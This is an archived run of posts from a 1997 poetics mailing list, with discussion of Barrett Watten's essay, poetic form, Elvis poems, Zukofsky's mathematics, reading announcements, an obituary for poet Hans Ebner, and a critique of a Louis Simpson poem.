On Tue, 21 Oct 1997 16:13:15 EDT JDEBROT said:
>Watten's essay strikes me as an extremely important corrective. In "The Bride

>. . . " he challenges the, by now too easy, assumption that the material text
>is politically effective either because 1. the reader is "empowered" by
>his/her collaboration in making meaning, or 2. in Watten's words, "what
>writing wants to accomplish as politics is the same as to do it; that to
>describe literary possibility is to represent a form of agency, in a circular
>fashion, as a critique of representation." In place of these alternatives
>Watten proposes a *cultural poetics* with "a more socially reflexive
>perspective." Just what this might mean is suggested by George Hartley in his
>account of Watten's pivotal essay "Total Syntax," where Watten calls for a
>focused "attention to both the internal, formal, temporal construction of a
>work and its external, contextual, spatial dimension" The two, as Watten sees
>it, are coextensive. Therefore the work's external frames ("aesthetic value
>systems, economic constraints, and ideological structures") mediate, but may
>also be affected by, its internal syntax. It is through the writer's
>exploitation of this "total syntax" that is, for Watten, key to the work's
>eventual political efficacy; what in Watten's book Progress is said to be "a
>form compelling events."

Jacques, I'm going to break my own promise since nobody else is speaking up. But I don't want to turn this discussion into the usual Henry polemics. So I want to suggest to all ye listers out there, that we follow up on Jacques' call by responding to the ILS essay in a VARIETY of directions. There's a lot of ways to get into an argument.

With that said, here's my question - how does Watten's characterization of reading poetry differ from any mainstream approach of reading for inner dynamics & general context? How can this be offered as something new, except in the parochial context of Language Poetry positioning? Parochial, because aesthetically hobbled by a simplistic correspondence between poetic experiment and political progress, if I read your "call" aright. Art by committee of the will to power. "Critiques of representation". The idea of a "form compelling events" gives it away: in Watten's view an "event" equals a political event. I have a permanently fixed bias toward what goes on in the unmapped wastelands - what is not yet political or left out of the political. That's where nature and art are interesting mutually-reflective events in their own right. This is a fundamentally midwestern left-out feeling. It can also be read politically, and for some people that's the only kind of reading, I guess. - Henry Gould

↑ Index

492. **Maria Damon**
address query
Thu 23 Oct 1997

---

anyone got an e-address for tandy sturgeon, or know who's doing the niedecker sagetrieb? please backchannel. thanks, md

↑ Index

493. **Maria Damon**
south asian women poets
Thu 23 Oct 1997

---

on behalf of one of my students, a query: can any of you suggest how to get hold of the work of south asian women (or of south asian descent) "experimental" (or whatever) poets? names, websites, journal articles or unpublished material all appreciated.

↑ Index

494. **Robert Archambeau**
Re: sonnets and certainty
Thu 23 Oct 1997

As I looked up over the gilt-edged pages of my leather bound copy of "A" from where I sat in the wingback chair in my oak-panelled library, I was astonished to see a giant pumpkin in the shape of Mt Rushmore rolling down the hillside, about to crash through the glassed-in screen of my hothouse of biases. Barely survived that one, but mmmm, the pumpkin pie I made . . .

--
Robert Archambeau
Department of English
Lake Forest College
Lake Forest, IL 60045
http://www.lfc.edu/~archamb/

Only irony is eternal
--Andrei Codrescu

↑ Index

495. **Franklin Bruno**
the forms and the laws
Thu 23 Oct 1997

H. Rhenisch wrote:

>Seems to me Coleridge said that he wrote rhymed verse by writing the rhymes
>first and then backing the poem into the rhymes.
>
>You could do that with any other technique of a poem, traditional or
>otherwise.
>
This was Ashbery's device in the sestinas and canzone in -Some Trees-. And what's more formal, in this sense, Cage's mesostics (sp?) or Roussel's novels?

M. Weiss wrote:

> *I have nothing against syllogisms, I just don't find them particularly useful for me as a mode of inquiry. Put another way, for me to write a sonnet I'd have to experience life and language as governed by an apparent logic. The logic, the coherence, would be a given. In the secular world in which I live whatever logic may be available takes a bit more exploration to discover.*

Hard for me to swallow this as an argument against writing in forms. Why would you 'have to' experience life a certain way to use a (received, he sd, sotto voce) form, unless you suppose that art must be mimetic in certain respects. Why could one not create order, or to use a shadier term, impose it on the 'secular' world? Isn't this what we do w/ our perceptions all the time. Of course, one might have the poetic aim of shaking off the shackles of knee-jerk everyday 'ordering' or 'forming,' but then one is just trying to be truer to the 'actual' perceiver-indepdent forms of life, on some level. And speaking of perceiver-independence...

A. Nielson wrote:

>This appears to be one of the most difficult points for Sokal to get hold
>of, even though it seems quite simple, if not simple-minded --
>
>LAWS do not occur in nature, whether we mean the laws of physics or the law
>of the land --
>
>There are phenomena that we attempt to describe,,, the description gets
>called a law of physics --
>
This is a pretty open question in philosophy of science circles, even narrowly analytic one. There are those (David Armstrong comes to mind) who hold that LAWS really do exist--i.e., are abstract but objective entities ala numbers, properties, etc. Obviously, this is a species of Platonism. BUT, such a view need not suppose that we have actually unearthed any of the

real laws, only useful but somewhat deceptive approximations of them. Somewhere on the other end of the range is the view that there are just law-statements (though the ontological status of these might depend on your philosophy of language) which cover, more or less effectively, a range of particular phenomena. There's also the very important question of whether clauses in law-statements that say things like 'under normal conditions' or 'all other things being equal' (which very few proposed laws lack) make the statements empty of content, or whether these phrases can be given a determinate application. This last ? is key to the issue of whether there are any laws of behavioral science (psychology), which brings us right back to AI.

fjb

↑ Index

496. **Danny Collier**
Elvis poems
Thu 23 Oct 1997

Sylvester,

You might point your friend toward the proprietor of the Java Cabana Coffee House, First Chuch of the Elvis Impersonator and Elvis Wedding Chapel in Memphis, TN. Since he has many fine Elvis-oriented artworks in his shop (including a wonderous series of Velvet Elvis-style Life-of-the-King portraits with captions worked into the paintings) he probably could point you at Elvis-oriented poets and their works. (He does amazing coin-operated interactive animated Elvis impersonator installations.)

They have (or had) a web site with links to his e-mail. I'd give you the reference, but I got busted for subversively using the law firm's international link to its diary/billing system to gain web access, so I am

unlinked in Moscow,
Danny Collier, Native Memphian, Thrice Remarried in the First
Church of the Elvis Impersonator

↑ Index

497. **trace s. ruggles**
Re: Elvis poems
Thu 23 Oct 1997

There's a bona fide Church of Elvis a couple of blocks from where I work (in Portland, OR). One of our employees is leaving the company for good next week to move to New York, and we all decided to get married to her at the

Church. They offer 25 cent weddings that only take a couple of minutes. I'll see if they have any good poetry about the King...

At 9:01 AM -0700 10/23/97, you wrote:
>Sylvester,
>
>You might point your friend toward the proprietor of the Java
>Cabana Coffee House, First Chuch of the Elvis Impersonator
>and Elvis Wedding Chapel in Memphis, TN. Since he has many
>fine Elvis-oriented artworks in his shop (including a wonderous
>series of Velvet Elvis-style Life-of-the-King portraits with captions
>worked into the paintings) he probably could point you at
>Elvis-oriented poets and their works. (He does amazing
>coin-operated interactive animated Elvis impersonator
>installations.)
>
>They have (or had) a web site with links to his e-mail. I'd give you
>the reference, but I got busted for subversively using the law
>firm's international link to its diary/billing system to gain web
>access, so I am
>
>unlinked in Moscow,
>Danny Collier, Native Memphian, Thrice Remarried in the First
>Church of the Elvis Impersonator

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498. Ira Lightman
Re: math/logic and poetry
Thu 23 Oct 1997

And of course Ron Silliman's use of fibonacci; my
own "Loving Phase Transitions" (Sound & Language, 1996)
is 3 eleven page sections of 2 one page pieces followed
by a nine page piece; the final nine page piece is 9
pages, each of 9 lines, each line with 9 words, from
1 to 9 letters long. Maths or numerology? A friend of
mine is writing an unpublished piece written through
Wittgenstein's Tractatus, and there is Marjorie Perloff's
book on Wittgenstein and poetry. And there's Oulipo,
especially Jacques Roubaud (a mathematician).

Ira

On Mon, 20 Oct 1997 22:54:01 -0700 Carl Lynden Peters wrote:

> From: Carl Lynden Peters <[redacted]>
> Date: Mon, 20 Oct 1997 22:54:01 -0700
> Subject: Re: math/logic and poetry
> To: [redacted]
>
> bpNichol!
> bpNichol!
> bpNichol! x all that u can read! of bp!
>
> i luv this list; the only time i know what's happening is
when th answer
> is bpNichol!
>
> Mad for Bliss,
>
> carl
>
> > Dear list members,
> >
> > I would be grateful for any reading suggestions of
contemporary poets
> > who have used mathematical or logical models as
occasions for composition.
> > Of course texts like Ashbery's _Flow Chart_ come
immediately to mind, but
> > I'm sure there are may other obvious choices that I'm
just not coming up
> > with. I am especially interested in women writers
incorporating
> > mathematical/logical systems into their work. I'll be
thankful for all
> > suggestions, obvious and obscure.
> >
> > Please copy any posts to me via backchannel.
> >
> > Many thanks in advance,
> >
> > Jennifer Ashton
> > Johns Hopkins University
> > [redacted]
> >

↑ Index

499. **Steve Evans**
Re: ILS 1.8 and then some
Thu 23 Oct 1997

I apologize for the delay in responding to members of the List who have inquired about the possibility of making Barrett Watten's "Bride of the Assembly Line" available on-line. The interest is certainly welcome and only successive nights of great poetry readings in Providence--Damon Krukowski and Joe Torra on Tuesday, then last night Michael Gizzi--have kept me from responding.

At this time the best I can do is offer to make the piece available, in all its slow-paced physicality, to those who are interested. There are still copies with imperfect binding (i.e. sloppy mechanical stapling that I had to re-staple) that I will mail, free, to anyone who asks. Watten does not yet have an author's page at EPC and doesn't foresee having the time to establish one in the immediate future. Jen and I are reasonably breathless from our monthly publishing schedule and don't easily contemplate adding another level of manifestation and maintenance to the project just now.

I admit to being a puzzled at the idea that a text cannot be discussed without reproducing it in its entirety. I thought metonymy, and the chain of distortions and corrections it unleashes, was half the fun of such discussions.

On the other hand, do read cover to cover and as soon as possible Michael Gizzi's _No Both_, just out in a joint venture from The Figures & Hard Press. Long the hardguy laureate (if you've not heard him read, imagine Mitchum doing a voice over of _Visions of Cody_) Gizzi's work since _Interferon_ (Great Barrington: The Figures, 1995) laces the vast Kerouacian periods with the kind of hard-won humanity one hears in O'Hara and Monk, in Coolidge, Luoma, and Mayer. It's very daring, very moving work. And while I'm in talk-it-up mode, why not mention also Joe Torra's _Keep Watching the Sky_ (Cambridge: Zoland, 1996), also a document of bop prosody and toughly sentimental long-hard-looks at what's become of us. Damon Krukowski's _5000 Musical Terms_ (Providence: Burning Deck, 1995) is literally that: five thousand words looking for a register, floating somewhere between rhetoric and music. His _Vexations_ are part Kafka-parable, part Cage-anecdote, part Borgesian-conceit, and all available as the next ILS, 1.9 in November. How's that for coming back to the pitch: schwew.... Hard Press, by the way, has a webpage at: http://hardpress.com/ (or you can cut right to _No Both_'s page at http://hardpress.com/newhp/catalog/gizzi.html).

Steve Evans

Impercipient Lecture Series
61 East Manning Stree

Providence RI 02906-4008
[redacted]

r i a t n m u

a t s u o o o s

↑ Index

500. Aviva Vogel
Re: ILS 1.8
Thu 23 Oct 1997

In a message dated 97-10-23 09:40:35 EDT, you write:

<< So I want to suggest to all ye listers out there, that we follow up on Jacques' call by responding to the ILS essay in a VARIETY of directions. >>

Henry, how does one FIND this essay???? Thanks! --Aviva

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501. Susan Clark
Re: south asian women poets
Thu 23 Oct 1997

Maria,

Ashok Mathur and others have the HYPEN-NATION issue of their ABSINTHE mag up at

http://www.ucalgary.ca/~amathur/hyphenation.html

There, you will see work by Sonia Chakrabarti and Minelle Mahtani's essay *Sketching beyond the site-lines: a geographer's topography of the politics of negotiation for mixed "race" women* and an installation "Modern Bride Burning' by Rina Banerjee

Also, try Yasmin Ladha in Calgary. She writes prose but teaches and has a special interest in women writers and active links to India [Delhi & Kashmir]. *Absinthe* should have an address for her. Or someone could backchannel me. My info may be old. She has a piece ["Samaan-luggage of a bride of a mujahideen of a nomad"] in RADDLE MOON 14.

best,
Susan
RADDLE MOON
[redacted]

↑ Index

502. **p. durgin**
Address request / E. Myles
Thu 23 Oct 1997

List folk,

Has anyone got an e-mail address for Eileen Myles? Please back-channel if you would. Thanks.

Patrick F. Durgin

|||[redacted]|||

_____

↑ Index

503. **mark weiss**
Re: the forms and the laws
Thu 23 Oct 1997

Seems to me that if I write in a form that contains within it a certain idea of order that predates my choice to write in it I am either accepting that ordering or playing a game of "as if." Fine with me if others find this useful for their work. I don't. What I do find useful is the unfolding of process in a world I perhaps imprecisely call secular, meaning that it doesn't come with a set of maps or operating instructions, unlike the world inhabited by, say, Milton. The perceiver and his process are a big hunk of same. Put another way, I try to write/perceive as if the perceivable were inherently without information, the structures I bring with me seen as tentative at best. I'm not arguing against writing in forms, I just don't find it useful for myself in this project, and I rarely find the efforts of others in this vein useful.

> *M. Weiss wrote:*
>
> *I have nothing against syllogisms, I just don't find them particularly useful for me as a mode of inquiry. Put another way, for me to write a sonnet I'd have to experience life and language as governed by an apparent logic. The logic, the coherence, would be a given. In the secular world in which I live whatever logic may be available takes a bit more exploration to discover.*
>
> *Hard for me to swallow this as an argument against writing in forms. Why would you 'have to' experience life a certain way to use a (received, he sd, sotto voce) form, unless you suppose that art must be mimetic in certain respects. Why could one not create order, or to use a shadier term, impose it on the 'secular' world? Isn't this what we do w/ our perceptions all the time. Of course, one might have the poetic aim of shaking off the shackles of knee-jerk everyday 'ordering' or 'forming,' but then one is just trying*

> *to be truer to the 'actual' perceiver-indepdent forms of life, on some level. And speaking of perceiver-independence...*

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504. **William Burmeister Prod**
(no subject)
Thu 23 Oct 1997

Announcement for anyone who may be in the South Florida/Miami area today(I know this is late):

Andrei Codrescu

in

WHOSE WOODS ARE THESE ANYWAY?

will lecture on the immigration experience

Oct 23 @ 7:00 pm

at the Miami Museum of Art, 101 W. Flagler, downtown Miami

($5.00 for museum non-members)

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505. **James Finnegan**
Re: Elvis poems
Thu 23 Oct 1997

Back a few years, there was anthology of Elvis
poems published entitled Mondo Elvis, I believe.
Probably still in print. Also, a Mondo Marilyn anthology
was put out by the same editors. Never read either,
so I can't say what the poetry was like.

Finnegan

↑ Index

506. **Graham W Foust**
Re: elvis poems
Thu 23 Oct 1997

Sylvester--

Joe Wenderoth's "Wallace Stevens Describing the Need For And Then The Consequences Of Elvis Presley" is an excellent poem about the King (it's in his book _Disfortune_ from Wesleyan U. Press, 1995).

Graham

↑ Index

507. **Pam Brown**

Re: south asian women poets

Thu 23 Oct 1997

Hello Maria Damon -
Tonight in Sydney I will be attending a reading by a Vietnamese writer - Pham Thi Hoai - whose books, whilst not literally poetry, are "poetic" in that she experiments with time/space within a narrative form.The book "Thien Su" has been translated into French as "Le Messager Crystal" and, now, apparently into English - "The Crystal Messenger" - which I intend to buy tonight. I could email you the publisher's details if you like.
Another more well-known Vietnamese writer is Duong Thu Huong - her books are
available in the US- try "Novel Without A Name"- she is not as "experimental" as Hoai but is always in trouble with the authorities for writing explicit & non-romantic stories critical of VN society.
Best wishes,
Pam Brown
6 AM 23/10/97 -0500, you wrote:
>on behalf of one of my students, a query:
>can any of you suggest how to get hold of the work of south asian women (or
>of south asian descent) "experimental" (or whatever) poets? names,
>websites, journal articles or unpublished material all appreciated.
>
>

↑ Index

508. **Aviva Vogel**

Re: ILS 1.8 and then some

Thu 23 Oct 1997

Steve, would you be willing to send a copy of ILS 1.8, postage due, to me?

Aviva Vogel
P.O. Box 1085
Norwich, VT 05055-1085

And thanks for poe-tips. I'll return the favor by offering some responses someday. I know it's a hassle to mail this essay, but I'd be much obliged. Gracias, Aviva

↑ Index

509. **Thomas Bell**
Re: the forms and the laws
Thu 23 Oct 1997

Mark, Yes. This might be a useful (in the sense of leading or getting somewhere) rule-of-thumb for what I've started to see as action or process poetry. I've generally come to always do the same but without articulating it as well as you do. For me it has a lot to do with the idea that if you know how you are going to get to a certain before you leave the journey is not as compelling. It also has to do with my perception that existing forms and language have gotten us into our current muddle and maybe the maps are part of the problem. I guess this is my langpoey coming out - does however go back at least as far as Olson and Gestalt therapy, tho and is echoed today by Mihali Csikszentimihalyi "In the past, things evolved essentially on the basis of external forces that pushed us in a certain direction and we went along with them. Religion and other philosophical systems, such as nationalism, communism, or other ideologies, supplied the meaning that integrated a person's life. At this moment, there isn't much that apeals to the hearts and minds of people with the strength and conviction that those earlier idea systems had. At this point, there is the possiblity of doing things differently." tom bell

At 10:54 AM 10/23/97 -0700, mark weiss wrote:
>Seems to me that if I write in a form that contains within it a certain
>idea of order that predates my choice to write in it I am either accepting
>that ordering or playing a game of "as if." Fine with me if others find
>this useful for their work. I don't.
>What I do find useful is the unfolding of process in a world I perhaps
>imprecisely call secular, meaning that it doesn't come with a set of maps
>or operating instructions, unlike the world inhabited by, say, Milton. The
>perceiver and his process are a big hunk of same. Put another way, I try to
>write/perceive as if the perceivable were inherently without information,
>the structures I bring with me seen as tentative at best.
>I'm not arguing against writing in forms, I just don't find it useful for
>myself in this project, and I rarely find the efforts of others in this
>vein useful.
>
>>M. Weiss wrote:
>>

>>>I have nothing against syllogisms, I just don't find them particularly
>>>useful for me as a mode of inquiry. Put another way, for me to write a
>>>sonnet I'd have to experience life and language as governed by an apparent
>>>logic. The logic, the coherence, would be a given. In the secular world in
>>>which I live whatever logic may be available takes a bit more exploration
>>>to discover.
>>>
>>
>>Hard for me to swallow this as an argument against writing in forms. Why
>>would you 'have to' experience life a certain way to use a (received, he sd,
>>sotto voce) form, unless you suppose that art must be mimetic in certain
>>respects. Why could one not create order, or to use a shadier term, impose
>>it on the 'secular' world? Isn't this what we do w/ our perceptions all the
>>time. Of course, one might have the poetic aim of shaking off the shackles
>>of knee-jerk everyday 'ordering' or 'forming,' but then one is just trying
>>to be truer to the 'actual' perceiver-indepdent forms of life, on some
>>level. And speaking of perceiver-independence...
>>
>
>

↑ Index

510. **Jordan Davis**
Re: sonnets and certainty
Thu 23 Oct 1997

Case in point, Robert!

And what an array. Creeley at Columbia (at 8 or so), Rudy Burckhardt's paintings and Joe Brainard's Small collages at Tibor de Nagy (724 5th Ave, 5-7 pm opening), Brendan Lorber & Anselm Berrigan at Biblios (Church & Walker at 6:30), and at Poetry City, postcolonial night with R. Zamora Linmark & Jorge Clar (5 Union Sq W, 7 pm). So if you're in New York...

Sincerely,
Linus

↑ Index

511. David Israel
ars po
Thu 23 Oct 1997

| question (why literature) rub
|
| The life as consciously imagined
| shows the life blooming in semblance
| of the real (not so much a dissembling
| as a resembling? -- reality as end toward
| which the unreal (imgination) would reach?
|
| to be or to seem that's the
|
| aye that's the
|
| so that here imagination follows consciously
| an else unconscious road of construc-
| tion: the brick-on-brick tree o'er tree
| method that builds everything al-
| ways? place upon such a built
| thing a new building to gain
| glimpse of the uncreated?
|
|
| d.i. 10/23/97

↑ Index

512. Tom Beard
Re: Sokallese
Fri 24 Oct 1997

> *On the one hand Tom wants*
> *to separate the way Thales would think of souls from the way John*
> *McCarthy might (actually I was trying to be tongue in cheek and thought*
> *no one would interpret the remark so literally);*

I had to assume that you were being literal, because I wasn't sure whether John McCarthy had used the word 'soul'. There was an active discussion some years back here about the use of the word soul, and my position was that one should be wary when using such a word, since it drags with it so many connotations. One person might be using it to refer to an immortal, transferable soul; another might mean a conscious entity with subjectivity; someone else might be talking about Ray Charles.

I don't think that this can be considered a continuum of meaning in the way that "technology" might ("Judy wants to ad hoc consider weaving as an historical/technological continuum, Burlington and the Jacquard loom existing in the same spirit as the practice of hand weaving"). If we think of any "technique" as being "technological", then we don't even need to invoke a continuum. In fact, I imagine (and others with a better knowledge of history might be able to confirm or otherwise) that hand weaving may have had at least as radical an effect upon the society of the time as the Jacquard loom in its time.

> *Tom, through Jaynes' Origins of Consciousness and the Breakdown of the Bicameral Mind, insists that metaphor is unavoidable. I would agree even unto methods of mathematization and quantification. That's where the quotes from Hegel and Adorno and Horkheimer come in.*

I think more of "metaphor" (in the linguistic sense) as a subset of the process (abstraction? pattern recognition? taxonomy? symbolism?) that makes consciousness possible.

> *YOU DON'T NEED SCIENCE TO HAVE REGARD FOR THE REAL*

Agreed. But once one has "regard for the real", I find that the other processes that you mention ("mathematization, quantification, formalization, reduction") come in very useful when making statements about "the real". The problem lies in recognising the cases where they cease to be useful.

Many of the problems that people have with reductionism is that they think of only the first part of a process, analysis, and forget about synthesis. We can learn a lot about a stone, for example, by looking at its chemical composition. But one cannot ignore how it's put together, or you'll just get a pile of Silicon and Iron atoms.

The statement "the whole is equal to the sum of its parts" is a parody of reductionism, if you take the word "sum" literally. I prefer to say that "the whole is a function of its parts", or "the whole can be usefully understood in terms of its parts". In fact, "the whole = the sum of its parts" is the very definition of linearity (f(sum(x)) = sum(f(x))), so in any non-linear system we have to take a more subtle approach to synthesis and be aware that an analytic solution might not be possible.

> For the vast majority of us scientific literacy would be a meaningless waste
> of productive time anyway because if our conclusions wouldn't matter in
> any case.

Maybe I'm just not as cynical about the democratic process as you. People are voting all the time on fluoridated water, carbon emissions, drug laws and other issues in which good science would be informative. I do find scientific illiteracy

frightening, in the way that I find geographical ignorance frightening. It frightened me that many Americans during the Falklands war thought that the Falklands were somewhere near the Shetlands, because it gave them the appearance that the Argentines were just about invading Britain. Similarly, the "Dihydrogen Monoxide" story is a source of worry, because it shows how many people can be swayed by hype (from any side of the argument) and the fear of admitting ignorance. It's just a pity that it's been co-opted for the purposes you mention.

The funniest of this kind of hoax that I've come across is Chris Morris' "Brass Eye" series, especially the "cake" and "heavy electricity" episodes. The willingness of so many politicians to publicly denounce a "metabolically bisturbile amphetamoid" without first checking the sources of the pressure group shows not only how much the War on Some Drugs is fuelled by ignorance, but also how allegedly educated people will parrot any prepared statement rather than admit that they don't know what they're talking about.

Tom Beard.

↑ Index

513. Hugh Steinberg
readings
Fri 24 Oct 1997

I'll be in New Jersey from November 22 through December 2. I know that floats around Thanksgiving, but are there any readings going on in New York or Philadelphia during that time?

Thanks!

Hugh Steinberg

↑ Index

514. Douglas Barbour
Re: the forms and the laws
Fri 24 Oct 1997

I respect both Mark & Tom's holding out for form-in-process, but I'm not sure that absolutely has to signal no use of imposed 'rules.' Even the Coleridge example of chosen rhyme words, somewhat like a 'form' my colleague Stephen Scobie & I like to call 'word/line acrostics,' or many another 'arbitrary' imposition of language, can leave lots of room for improvisation. I think having some words already 'there' may be a way of allowing language to work with the writer writing -- into what is to be found there. And the 'play' --off & toward

those words already there -- can lead to discoveries of possibilities sometimes beyond what one is aware one is aware of, so to speak. The arbitrary opens:

Sometimes it's a way of getting started too...

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

516. **groberts**
Z=A.9/?
Fri 24 Oct 1997

The recent query re mathematical poetics reminded me that I have yet to find a good explanation of how Zukofsky's use of the formula for a conic section governs the distribution of "n" and "r" in the canzone of "A". The hints in Z:Man and Poet are not enough, for me anyway. Does anyone know of a good "close reading" of this section, or better yet, is anyone willing to try it here for those of us who cannot understand the formula or its application?

Gary R.

↑ Index

517. **henry**
Re: Z=A.9/?
Fri 24 Oct 1997

On Fri, 24 Oct 1997 10:48:16 -0500 <[redacted]> said:
>The recent query re mathematical poetics reminded me that I have
>yet to find a good explanation of how Zukofsky's use of the formula for a conic
>section governs the distribution of "n" and "r" in the
>canzone of "A". The hints in Z:Man and Poet are not enough, for me
>anyway. Does anyone know of a good "close reading" of this section,
>or better yet, is anyone willing to try it here for those of us who
>cannot understand the formula or its application?

Barry Ahearn's book _Zukofsky's "A" : an introduction_ has an appendix which gets into the math background in A-8 & -9, including how to read the n's & r's. I don't know how accurate it is. - Henry Gould

↑ Index

518. **henry g'**
friday's riddle
Fri 24 Oct 1997

Since everybody's being very quiet...

has anybody else noticed that the late Hannah Wiener is (in a certain sense) a character in Istanbul author Orphan Pamuk's novel THE BLACK BOOK?

I've been saying we've been getting more byzantine for a long time...

- Henry Gould

↑ Index

519. Thomas Bell
Reenactment of feeling in writing/reading and Nick Piombino quote
Fri 24 Oct 1997

This quote struck me as true for the most part. But for me I find that I am more likely to reenact an emotion when I am writing than when I am reading. I also feel I can have some control over the quantity of feeling I invest. Is this true in others' experience? Anyone else written about this? Might be anoth rule-of-thumb for action or process poetry. tom bell

"We can get an approzimation of experience through words in that memories, because of their subjective character, reenact the meanings we apply to experiences, just as when we read we reenact the meanings we apply to a sequence of words. When we say to ourselves, when reading, "That's how I feel" or "That's how I see myself," we are often tempted to underline the words we were reading when we experienced the feeling of comprehension. Yet then, strangely, when we reread the underlined passage, often it no longer contains the meaning we imagined it held. Nick Piombino, _The Boundary of Blur_, New York, Roof Books, 1993, p. 25.

↑ Index

520. David R. Israel
Re: Elvis poems
Fri 24 Oct 1997

From Sylvester Pollet

> *Thanks, all, for the Elvis poems & citations. I expect it's easier to start a thread than to stop one . . .*

yep, probably. To illustrate (or confirm), here's an Elvis tidbit (though incomplete). The Kronos Quartet, performing maybe two years ago (? - in this case at the Kennedy Center) included a sound-collage-based work by a youngish composer whose name, alas, has not lingered in mind. The piece might've been called "Elvis has left the building." If memory serves, much of the text (recorded stuff) was taken from a conference of Elvis impersonators.

I'm not much of a fan of Elvis chic, but did enjoy that piece. Perhaps the method used was a bit like things that (say) Scott Johnson / Gavin Bryers / et al. have done -- at least sharing some of that likeable decontextualize / recontextualize a voice approach ...

do poets here know of Scott Johnson's work of this type, I wonder? No doubt Herb Levy could do it better justice than I.

d.i.
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.....
.....
\\\

523. Susan Wheeler
Readings
Sat 25 Oct 1997

Armand Schwerner is reading at Posman Books in NYC next Sunday, the 2nd, at 3pm. His reading at the XCP conference in Minneapolis was EXTRAORDINARY, and I would urge any proximate listites to run not walk. He read (and played, a caseful of flutes being intrinsic to the work aloud) from the tablets in Minneapolis with a focus and intensity that was riveting -- and very, darkly, funny.

Susan

PS As for other events there that have stayed with me lo this past week, I was grateful for Yunte Huang's discussion of Charlie Chan & Ezra Pound, a thoughtful reading by Roy Miki, Juliana Chang's talk on the generational shift of influence modes, the elevated oratory of cris cheek's amazing performance, ace readings by Jeff Derksen and Aldon Nielsen, Alan Golding's latticed "Po-Biz, Cult. Stud., and Avant-Gardes?" back-to-back with post-Derridean stream by Kangmi Kim, and both Michael Bibby's and Elizabeth Frost's papers on a panel on "Post-War African American Poetry" -- both of which complicated our notions of inclusions and exclusions from canons as well as from canonical "interpretations." An event at the Walker was a treat primarily for a terrific Beuys show there now. I was grateful for hearing much else (and also not hearing but reading -- ie a paper by Joe Amato I overslept). There was much I regretted missing, and joy in many affinities found. Thanks to Mark Nowak and Maria Damon for a problematic, genial, and sometimes thrilling, few days.

Susan Wheeler
[redacted]
voice/fax [redacted]

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524. creinervppp
litpress.com
Sat 25 Oct 1997

Dear Listfolks:

LITPRESS.COM is now up and running with announcments of new publications. The address is, simply:

http://www.litpress.com

LITPRESS.COM is a place where publishers, authors, editors or anyone can announce new publications (books or magazines) or poetry, prose or criticism.

The focus is on innovative or experimental or avant garde (or any of those problematic words) work.

These announcements will be updated every Monday (starting November 3, 1997).

LITPRESS.COM is hosted by L.A. Books, a coalition of publishers in Los Angeles: the book presses Littoral Books and Seeing Eye Books, and the magazines Rhizome, Ribot and Witz.

I'd appreciate any comments or suggestions about the site.

--Chris Reiner (LITPRESS.COM curator)

[redacted]

Christopher Reiner
[redacted]

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525. **robert drake**
Re: Hans Ebner (fwd)
Sat 25 Oct 1997

> *---------- Forwarded message ----------*
> *Date: Sat, 25 Oct 1997 12:03:39 -0400*
> *From: Kurt Nimmo <[redacted]>*
> *Reply-To: [redacted]*
> *Subject: Re: Hans Ebner*
>
> *This morning I received the sad news from Virgil Hervey that the poet Hans Ebner has died from cancer. Hans was sick for a long time, underwent therapy, his cancer was in remission, but he ultimately lost the battle. Virgil has asked me to write a few words about Hans, a friend since the late seventies.*
>
> *I met Hans while editing THE SMUDGE REVIEW with Doug Mumm in the late seventies. Hans was connected to the Detroit literary scene, which at the time was mostly academic. Ebner, however, was not an academic poet -- while connected to the academic scene, he was distinctly apart from it, due mostly from his experiences in Vietnam, where he served a tour of duty as a grunt and had experienced the tribulation of combat. Hans was the only veteran I have known to open up about his experiences. I will never forget his story about the night his compound came under*

attack and he lost several friends. Hans did not hold back -- the hallmark of a true poet -- and I will never forget his vivid and nightmarish descriptions of combat and the anguish he felt not only at the loss of his fellow soldiers, but also over his own participation in the killing of Vietnamese in that insane and completely unnecessary war. All of this came out in his poetry -- and also in a novel that never saw the light of publication.

Ebner, along with Detroit poet Hank Malone and Christine Lahey-Dolega, became a cornerstone of THE SMUDGE REVIEW in the late seventies. Through his affiliation with THE SMUDGE, Ebner met and entered a short relationship with the San Francisco poet Joanie Whitebird, a woman best remembered for a fling with Bukowski in the early seventies. Hans was divorced at the time and the affair was short and emotional.

It was the political and factional nature of the Detroit literary scene that eventually put a strain on our friendship. I lost contact with Hans as the seventies came to an end and THE SMUDGE REVIEW ceased publication. And while I continued to publish literary magazines through the eighties, I did not hear from Hans. As it turned out, he left the Detroit area and eventually settled in Nevada. It was the Internet that finally brought us back in contact with each other, nearly twenty years after our last communication. Hans had found my website, and thus my email address, and we began sending each other messages. He was working for the government in Las Vegas, beginning to write poetry again after a long hiatus, and I urged him to subscribe to this listserv, which he did. Thanks to GB&G, Hans made many new friends and began publishing his poetry again.

I will miss Hans Ebner, a sincere and compassionate friend. It is my intention to dedicate a section of the upcoming PNG POETRY ONLINE to his poetry.. If any members of the list have comments -- or poems from Hans -- that they would like to send, please feel free to do so. My email address is: [redacted]. If possible, as well, I would like to publish personal information about Hans. Regrettably, I do not know the date of his birth, or do I have a recent photo of him before his illness. If any list recipients have this, please contact me. I would like to make the page as inclusive as possible.

Hans Ebner deserves it.

Kurt Nimmo
October 25, 1997

Kurt Nimmo: [redacted]
Web Backlash: http://members.tripod.com/~knimmo

> *PDFs of Kurt Nimmo: http://ic.net/~knimmo/png.htm*
> *resume: http://ic.net/~knimmo/resume*
>
> *The Net is nothing but an inert mass of metal,*
> *plastic and sand. We are the only living beings*
> *in cyberspace. --Richard Barbrook*
> ---

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526. **Susan Schultz**
Louis Simpson
Sat 25 Oct 1997

This is probably not the place to vent about the _American Poetry Review_, or Louis Simpson, but I feel compelled to comment on his "747 poem" in the new issue. (A 747 poem is one written by someone who comes to Hawai'i on a plane, stays for a few days, and then writes with great authority about the place.) The poem, "Kaimana Beach," is riddled with errors and cliches, so I'll quote parts. The beach in question is in Honolulu, on O'ahu.

> The moon with a ring
> colored like a rainbow
> above the ocean (Makai).

Well, makai doesn't mean ocean, it means "in the direction of the ocean."

> To the north (Mauka)

Mauka means "towards the mountains," so wherever you are, north or south of them, mauka would indicate their direction. OK, so Kaimana Beach is south of the mountains. . . Simpson then drops another marker, "Ewa," which means toward the Ewa side of the island. Of course one can learn these things five minutes after arriving here.

> So every day would begin.
> They [these are definitely tourists] would go for a drive
> inland, across the mountains [actually you go through them],
> or east around the shore [around the shore?]
> and look at the Chinese Hat.

There is no place called Chinese Hat, but there is a small offshore island called "Chinaman's Hat."

> But in a fortnight
> one coconut looks much like another,
> and now they pass the mornings
> sitting or lying on the sand

